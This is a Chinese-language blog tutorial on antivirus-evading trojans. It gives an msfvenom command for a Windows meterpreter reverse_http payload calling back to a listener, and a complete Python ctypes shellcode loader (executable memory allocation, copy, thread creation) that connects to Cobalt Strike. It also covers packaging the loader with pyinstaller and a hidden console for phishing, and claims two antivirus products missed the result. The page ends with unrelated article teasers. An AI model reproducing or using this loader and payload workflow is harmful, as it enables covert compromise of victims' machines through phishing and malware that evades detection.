木马免杀(篇二)shellcode 学习

木马免杀(篇二)shellcode 学习

——

shellcode介绍

shellcode 是一段利用软件漏洞进行执行的机器码, 通常用汇编语言编写并被翻译为十六进制操作码,因常被攻击者用于获取系统的命令终端shell 接口,所以被称为 shellcode。

说到获取系统的命令终端shell 接口,shell 是操作系统中提供给用户用于内核交互执行任意系统命令的应用程序。
Windows操作系统中的shell 包括 命令提示符cmd 和 powershell 应用程序。
Linux操作系统中的 bash shell。比如我在 cmd 中执行 ipconfig 系统命令查看网络适配器信息(多用于查看IP)。获取到了 shell 接口就可以执行后续的任意系统命令了。
在这里插入图片描述

——

获取shellcode

一段shellcode 都有他的功能,比如执行弹计算器的功能、反弹shell 等等。

常见shellcode是一串十六进制机器码,常以字符串形式存储在数组类型的变量中。本质是一段汇编指令,要学习 shellcode 是怎么生成,即实现这些功能的shellcode 需要怎么写,涉及到新的领域,要学习汇编,进行编译汇编源码,提取出shellcode等步骤,会比较困难。

所以目前使用 shellcode 大多通过工具生成或网上写好了的。

网上的公开 shellcode 资源:

https://www.exploit-db.com/

在这里插入图片描述
cobaltstrike 工具生成 shellcode
在这里插入图片描述
选择监听器,选择不同语言的shellcode
在这里插入图片描述

msf 工具生成 shellcode
通过命令选择监听器和IP、端口等信息。
生成命令:

msfvenom -p windows/meterpreter/reverse_http lhost=192.168.1.101 lport=4444 -f c

得到的文件长这样,里面是一串十六进制字符串
在这里插入图片描述
这里只是举了cs和msf 生成的一个shellcode例子,还有其他的多种方式或格式,比如msf还有自带的对shellcode编码的功能。

——

如何执行shellcode?

一串 shellcode 不能直接在操作系统执行,需要通过编程语言进行加载、调用才能执行。像常见的C、C#、Java、python 都能实现。
每种语言对 shellcode 进行加载的方式都大同小异,包括申请内存、将shellcode 写入内存等步骤。所以得到一个加载器的概念,通过加载器可以实现说到的写入内存等功能。

这里学习使用python语言编写加载器执行 shellcode

python 编写 shellcode 加载器

这里用 cs 直接生成的 c 语言编写的 shellcode的一个片段展示:

\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48

使用 python 编写加载器执行 c 语言的 shellcode

import ctypesbuf=b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48"
shellcode=buf
shellcode = bytearray(shellcode)kernel32 = ctypes.WinDLL('kernel32')
kernel32.VirtualAlloc.restype=ctypes.c_uint64
ptr=kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40),)
buffer = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buffer, ctypes.c_int(len(shellcode)))
handle = kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

——

加载器代码解读

将 shellcode 从一个字节串(bytes)对象转换为一个可变字节数组(bytearray)对象。

shellcode = bytearray(shellcode)

加载 kernel32.dll ,是 Windows 操作系统的核心动态链接库之一,包含了很多常用的系统函数。

kernel32 = ctypes.WinDLL('kernel32')

设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是32位

kernel32.VirtualAlloc.restype=ctypes.c_unit64

调用 kernel32.dll 动态链接库的 VirtualAlloc 函数申请内存

ptr=kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40),)

里面 4 个参数的含义:
ctypes.c_int(0) 指向要分配的区域的起始地址的指针,值为null时指向系统保留其认为合适的区域

ctypes.c_int(len(shellcode)) 分配区域的大小
ctypes.c_int(0x3000) 内存分配的类型
ctypes.c_int(0x40) 要分配的页区域的内存保护,可读可写可执行

调用 kernel32.dll 动态链接库的 RtlMoveMemory 函数将 shellcode 移动到申请的内存中

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buffer, ctypes.c_int(len(shellcode)))

三个参数含义:

ctypes.c_uint64(ptr) 指向要将字节复制到的目标内存块的指针
buffer 指向要从中复制字节的源内存块的指针
ctypes.c_int(len(shellcode)) 从源复制到目标的字节数

创建线程,从 shellcode 放置位置的首地址开扫执行 shellcode

handle = kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))

等待线程运行完

kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

——

直接运行上面的 python 代码就可以上线 cs 。
不过如果进行钓鱼的话可以打包成 exe 文件,不需要 python 环境的依赖。
——

打包成exe

pyinstaller -F 1.py -w --name test.exe --clean

-F 参数用于将所有生成的文件(包括依赖的库和资源)打包到一个单独的可执行文件中,而不是生成一个文件夹。
-w 参数用于在打包后隐藏控制台窗口,使得生成的可执行文件在运行时不显示命令行窗口。
–name 指定生成的文件名
–clean:在打包前先清理之前的临时文件。
–upx:使用UPX来压缩可执行文件,减小文件大小。
–icon:指定打包后exe文件的图标。图标文件应该是.ico格式。
–distpath选项指定输出路径

在dist 目录下得到 test.exe 文件。双击运行即可
在这里插入图片描述

结果这样没有任何处理火绒和360都不杀
2023.7
vt结果:
在这里插入图片描述
微步结果:
在这里插入图片描述
————

总结

进行免杀的一个方式其实就是编写一个加载器,包括现在从github上找比较新的免杀项目也是加载器的项目。这里用的 python 加载器也是很多之前网上就能找到的,但是看到截至到2023.7免杀效果都还是可观的。一个原因是用python 去免杀的比较少,主流应该是 c 语言的,用的人多了,免杀效果自然就没那么好了。所以用比较少人用的语言编写加载器也是一种免杀途径,那些杀软的木马病毒库还没有收录那些特征。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/32302.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

并发编程面试题2

并发编程面试题2 一、AQS高频问题: 1.1 AQS是什么? AQS就是一个抽象队列同步器,abstract queued sychronizer,本质就是一个抽象类。 AQS中有一个核心属性state,其次还有一个双向链表以及一个单项链表。 首先state…

【Ubuntu】安装docker,docker compose 以及部署一个docker应用

大家好!在过去,已经分享了很多有关通过Docker部署应用的内容。今天,我将为大家详细介绍如何在Ubuntu系统上部署最新的Docker平台。 Docker是什么 Docker是一个开源的容器化平台,它允许您将应用程序及其所有依赖项打包到称为容器…

CH343 USB转串口芯片资料下载(合集)

1、产品手册 CH343DS1.PDF - 南京沁恒微电子股份有限公司CH343技术手册,USB转单串口芯片,支持最高6M波特率,串口信号支持1.8~5V,内置晶振。CH343使用系统集成的CDC驱动或厂商驱动。厂商驱动支持完整串口功能和更高波特率。https:…

基于STM32微控制器的物联网(IoT)节点设计与实现

基于STM32微控制器的物联网(IoT)节点的设计和实现。我们讨论物联网节点的基本概念和功能,并详细介绍了STM32微控制器的特点和优势。然后,我们将探讨如何使用STM32开发环境和相关的硬件模块来设计和实现一个完整的物联网节点。最后,我们将提供一个示例代码,展示如何在STM3…

【24择校指南】南京大学计算机考研考情分析

南京大学(A) 考研难度(☆☆☆☆☆) 内容:23考情概况(拟录取和复试分数人数统计)、院校概况、23初试科目、23复试详情、参考书目、各科目考情分析、各专业考情分析。 正文2178字,预计阅读:6分…

Mr. Cappuccino的第59杯咖啡——简单手写SpringIOC框架

简单手写SpringIOC框架 环境搭建基于XML方式项目结构项目代码运行结果 基于注解方式项目结构项目代码运行结果 简单手写SpringIOC框架核心原理基于XML方式原理项目结构项目代码运行结果 基于注解方式原理项目结构项目代码运行结果 环境搭建 基于XML方式 项目结构 项目代码 p…

JSP实训项目设计报告—MVC简易购物商城

JSP实训项目设计报告—MVC简易购物商城 文章目录 JSP实训项目设计报告—MVC简易购物商城设计目的设计要求设计思路系统要求单点登录模块商品展示模块购物车展示模块 概要设计Model层View层Controller层 详细设计Model层View层登录界面系统主界面 Controller层 系统运行效果项目…

kafka是有序的吗?如何保证有序?

首先,Kafka无法保证消息的全局有序性,这是因为Kafka的设计中允许多个生产者并行地向同一个主题写入消息。而且,一个主题可能会被划分为多个分区,每个分区都可以在独立的生产者和消费者之间进行并行处理。因此,生产者将…

【MongoDB】数据库、集合、文档常用CRUD命令

目录 一、数据库操作 1、创建数据库操作 2、查看当前有哪些数据库 3、查看当前在使用哪个数据库 4、删除数据库 二、集合操作 1、查看有哪些集合 2、删除集合 3、创建集合 三、文档基本操作 1、插入数据 2、查询数据 3、删除数据 4、修改数据 四、文档分页查询 …

CSP复习每日一题(四)

树的重心 给定一颗树,树中包含 n n n 个结点(编号 1 ∼ n 1∼n 1∼n)和 n − 1 n−1 n−1条无向边。请你找到树的重心,并输出将重心删除后,剩余各个连通块中点数的最大值。 重心定义: 重心是指树中的一…

试图将更改推送到 GitHub,但是远程仓库已经包含了您本地没有的工作(可能是其他人提交的修改)

这通常是由于其他人或其他仓库推送到了相同的分支上,导致您的本地仓库和远程仓库之间存在冲突。 错误信息: To github.com:8upersaiyan/CKmuduo.git ! [rejected] main -> main (fetch first) error: failed to push some refs to github.com:8upers…

元宇宙时代来临,AI数字人的应用方式有哪些?

在数字化背景下,元宇宙的时代已经来临,当你看到网络新闻上各形各色的虚拟数字人时,你是不是也有些都心动呢?与真人相比,AI虚拟数字人还具有成本低廉并且不受时间、空间限制的特点,数字人的使用场景正在逐渐…

React集成tinymce插件

目录 一、Tinymce介绍 二、React集成Tinymce 1、安装tinymce/tinymce-react组件 2、React中引用 三、如何配置中文语言包 1、下载中文包 2、把语言文件放入tinymce 3、tinymce配置项中配置语言 一、Tinymce介绍 官网:The Most Advanced WYSIWYG Editor | T…

【脚踢数据结构】深入理解栈

(꒪ꇴ꒪ ),Hello我是祐言QAQ我的博客主页:C/C语言,Linux基础,ARM开发板,软件配置等领域博主🌍快上🚘,一起学习,让我们成为一个强大的攻城狮!送给自己和读者的一句鸡汤🤔&…

数据清理在数据科学中的重要性

什么是数据清理? 推荐:使用 NSDT场景编辑器 助你快速搭建可编辑的3D应用场景 在数据科学中,数据清理是识别不正确数据并修复错误的过程,以便最终数据集可供使用。错误可能包括重复字段、格式不正确、字段不完整、数据不相关或不准…

web集群学习:源码安装nginx配置启动服务脚本、IP、端口、域名的虚拟主机

目录 1、源码安装nginx,并提供服务脚本。 2、配置基于ip地址的虚拟主机 3、配置基于端口的虚拟主机 4、配置基于域名的虚拟主机 1、源码安装nginx,并提供服务脚本。 1、源码安装会有一些软件依赖 (1)检查并安装 Nginx 基础依赖…

数据结构刷题训练——链表篇(二)

目录 前言 1.题目一:链表分割 1.1 思路 1.2 分析 1.3 题解 2. 题目二:相交链表 2.1 思路 2.2 分析 2.3 题解 3. 题目三:环形链表 3.1 思路 3.2 分析 3.3 题解 总结 前言 本期继续分享链表相关的OJ题目,在这个专栏博客…

【论文阅读】EULER:通过可扩展时间链接预测检测网络横向移动(NDSS-2022)

作者:乔治华盛顿大学-Isaiah J. King、H. Howie Huang 引用:King I J, Huang H H. Euler: Detecting Network Lateral Movement via Scalable Temporal Graph Link Prediction [C]. Proceedings 2022 Network and Distributed System Security Symposium…

UDP通信实验、广播与组播、本地套接字

文章目录 流程函数应用广播应用 组播(多播)本地套接字应用 流程 函数 返回值: 成功,返回成功发送的数据长度 失败,-1 返回值: 成功,返回成功接收数据长度 失败,-1 应用 广播 应用 …

MongoDB文档-进阶使用-MongoDB索引-createindex()与dropindex()-在MongoDB中使用正则表达式来查找

阿丹: 之前研究了MongoDB的基础增删改查。在学会基础的数据库增删改查肯定是不够的。这个时候就涉及到了数据库搜索的时候的效率。需要提高数据的搜索效率。 MongoDB索引 在所以数据库中如果没有数据索引的时候。如果需要查找到一些数据。都会去主动扫描所有可能存…